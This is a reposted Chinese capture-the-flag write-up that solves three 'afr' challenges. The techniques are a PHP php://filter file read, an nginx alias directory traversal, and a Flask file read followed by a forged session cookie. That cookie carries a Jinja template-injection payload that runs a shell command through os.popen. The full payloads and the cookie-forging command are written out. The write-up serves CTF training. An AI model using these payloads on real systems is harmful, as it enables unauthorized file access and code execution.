iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfhub -afr -1 2 3
  • 955
分享到

ctfhub -afr -1 2 3

phpnginx安全网络安全web安全 2023-09-09 16:09:46 955人浏览 八月长安
摘要

afr-1  打开题目链接 默认的传参数据为 ?p=hello 更改一下试试看  ?p=111  无回显 ?p=flag  回显了  no no no  想到了 PHP任意文件读取 ?p=php://filter/read=conv

afr-1

 打开题目链接

默认的传参数据为 ?p=hello

更改一下试试看  ?p=111  无回显

?p=flag  回显了  no no no

 想到了 PHP任意文件读取

?p=php://filter/read=convert.base64-encode/resource=flag

 回显出数据

 应该是base64  拿去解码

得到flag 

afr-2

打开题目链接

 查看源代码 

Nginx配置问题导致存在目录穿越    访问它的前一个目录  img../

/img../flag  

得到flag  

afr-3

打开题目链接  (看似为XSS   ?)

传入个数据看看   打破最初的猜想

点击article 

 name参数是个点  利用这个name参数获取当前执行系统命令  读取系统文件 

补充(linux系统上的/proc目录是一种文件系统  即proc文件系统  与其它常见的文件系统不同的是  /proc是一种伪文件系统(也即虚拟文件系统) 存储的是当前内核运行状态的一系列特殊文件  用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息  甚至可以通过更改其中某些文件来改变内核的运行状态
/proc/[pid]  当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令  但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表  彼此间用空字符(NULL)隔开  变量用大写字母表示  其值用小写字母表示)

任意文件读取漏洞    读取到结果  看到当前目录存在的两个文件  flag.py和key.py

白盒测试

Article Content:


#!/usr/bin/pythonimport osfrom flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )from flask_session import Session app = Flask(__name__)execfile('flag.py')execfile('key.py') FLAG = flagapp.secret_key = key@app.route("/n1page", methods=["GET", "POST"])def n1page(): if request.method != "POST": return redirect(url_for("index")) n1code = request.fORM.get("n1code") or None if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","") if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code template = None if session['n1code'] is not None: template = '''

N1 Page

Hello : %s, why you don't look at our article?
''' % session['n1code'] session['n1code'] = None return render_template_string(template) @app.route("/", methods=["GET"])def index(): return render_template("main.html")@app.route('/article', methods=['GET'])def article(): error = 0 if 'name' in request.args: page = request.args.get('name') else: page = 'article' if page.find('flag')>=0: page = 'notallowed.txt' try: template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e: template = e return render_template('article.html', template=template) if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

发现flag在flag.py   flask的appkey在key.py  但是此处任意文件读取漏洞被过滤了关键词flag

构造payload  先访问flag.py  无果

伪造session  先获取一下key

 再访问 key.py

 利用flask-session-manage 伪造session

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

.eJwdikEKGCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHpdfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E

抓包  更换cookie session

 得到flag   n1book{afr_3_solved}

小结:

A: php任意文件读取

B: nginx配置之目录穿越 

C:/porc目录

D:flask-session

来源地址:https://blog.csdn.net/m0_57954651/article/details/127919911

--结束END--

本文标题: ctfhub -afr -1 2 3

本文链接: https://www.lsjlt.com/news/401686.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • ctfhub -afr -1 2 3
    afr-1  打开题目链接 默认的传参数据为 p=hello 更改一下试试看  p=111  无回显 p=flag  回显了  no no no  想到了 php任意文件读取 p=php://filter/read=convert....
    99+
    2023-09-09
    php nginx 安全 网络安全 web安全
  • java 输出1^1+2^2+3^3+.
    可以采用递归 有需要一直循环的内容...
    99+
    2023-01-31
    java
  • 求s=1+1(1+2)+1(1+2+3)
    求s=1+1/(1+2)+1/(1+2+3)….+1/(1+2+3….+n)的值#include <stdio.h>float fun(int n){int i,s1=0;float s=0.0;for(i=1;i<=n...
    99+
    2023-01-31
  • 计算2/1+3/2+5/3+8/5+..
    #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> int main() {  double a = 1.0;  double b = 1.0;  double Sn = 0;  ...
    99+
    2023-01-31
  • Python_005_求1-2+3-4+
    n = 1 s = 0 while n < 100: temp = n % 2 if temp == 0: s = s - n else: s = s + n ...
    99+
    2023-01-31
  • 1+2+3+...+100算法
    问题:计算1+2+3+...+100的结果 一般解答:     int i,sum=0,n=100;     for(i=1;i<=n;i++)     {       sum=sum+i;     }     printf("%d"...
    99+
    2023-01-31
    算法
  • OSPF Type 1 .2. 3 L
     Type 1 .2. 3 .4. 5 LSA Link States      同一OSPF区域内的所有路由器都应具有完全相同的拓扑数据,路由器通过SPF算法,以确定前往每个可达子网的最佳路由,学习LSA应该注意它的三个要点1传播范围2通...
    99+
    2023-01-31
    OSPF Type
  • 网管心得1-2-3
    1.大家在使用外部邮箱时,遇到附件的邮件;最好养成把附件下载到本地的习惯。因为你今天能打开、查看;并不表示你每时每刻都可以打开的。也许你明天点击时就报错,因为它的服务器出故障了。目前我司的同事在163邮箱使用中就遇到过。   2.大家在重新...
    99+
    2023-01-31
    网管 心得
  • c语言:求多项式1-1/2+1/3-1/
    方法一:for循环实现 程序: #include<stdio.h> int main() { double i = 0, t = 0,sum = 0,sign = -1; for (i = 1; i <= 100; i+...
    99+
    2023-01-31
    多项式 语言
  • C语言计算1/1+1/2+1/3+…+1/n的问题
    目录计算1/1+1/2+1/3+…+1/n计算1+1/2+1/3+......+1/100计算1/1+1/2+1/3+…+1/n 只用注意一个问题,整数的...
    99+
    2022-11-16
    C语言计算 1/1+1/2+1/3+…+1/n C语言1/1+1/2+1/3+
  • 【C语言】求1+2!+3!+...+20
    #include "stdio.h" main() {   float n,s=0,t=1;   for(n=1;n<=20;n++)   {     t*=n;     s+=t;   }   printf("1+2!+3!.....
    99+
    2023-01-31
    语言
  • SOA 快速指南 1 2 3
    ...
    99+
    2023-01-31
    快速 指南 SOA
  • c++中1!+2!+3!啥意思
    c++kquote>c++ 中 1! + 2! + 3! 的含义:在 c++ 中,! 运算符表示阶乘运算。1! + 2! + 3! 的含义是:1! = 12! = 1 * 2 = ...
    99+
    2024-05-12
    c++
  • Python 练习——计算1-2+3-4
    # 求1-99的所有数的和 count = 1 s = 0 while count < 100: s += count count += 1 print(s) 当都为正数时,即1+2+3+...+99,如上,很简...
    99+
    2023-01-30
    Python
  • 1-3 Winform 中的常用控件(2
    4. 案例学习:用户登录功能设计 本次实验目标是通过用户键入名称和密码,经过判别为非空性之后,再判断是否符合系统规定的内容,无论成功或者失败都提示用户操作结果。如图1-12所示为目标界面: ...
    99+
    2023-01-31
    控件 常用 Winform
  • php 实现阶乘累加(1!+2!+3!+
    //求N阶乘函数function factorial($n){    $j=1;    for($i=1;$i<=$n;$i++){        $j*=$i;    }    return $j;}//求阶乘的和 function...
    99+
    2023-01-31
    阶乘 php
  • php 循环 计算1+1+2+1+2
    方法一: for 循环function add($n,$sum=0){    for($i = 1;$i<=$n;$i++){for($j = 1;$j<=$i;$j++){     $sum+=$j;    }}    ech...
    99+
    2023-01-31
    php
  • 1)python的基础2和3的区别,以及
    1、python2\python3的区别:python2\python3的区别:一、代码重复,python2代码重复功能复用,夹杂其他语言的部分,不规范python3进行整合,简洁优美编译型:一次性将全部代码编译成二进制,然后再运行。缺点:...
    99+
    2023-01-31
    区别 基础 python
  • Java循环练习:求1+(1*2)+(1
    package practiceGO; public class Cto { public static void main(String[] args) { int sum = 0; for(int i=0; i<5;...
    99+
    2023-01-31
    Java
  • JavaScript中如何让 x == 1 && x == 2 && x == 3 等式成立
    前言 某次面试,面试官突然问道:“如何让 x 等于 1 且让 x 等于 2 且让 x 等于 3 的等式成立?” 话音刚落,笔者立马失去意识,双眼一黑,两腿一蹬...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作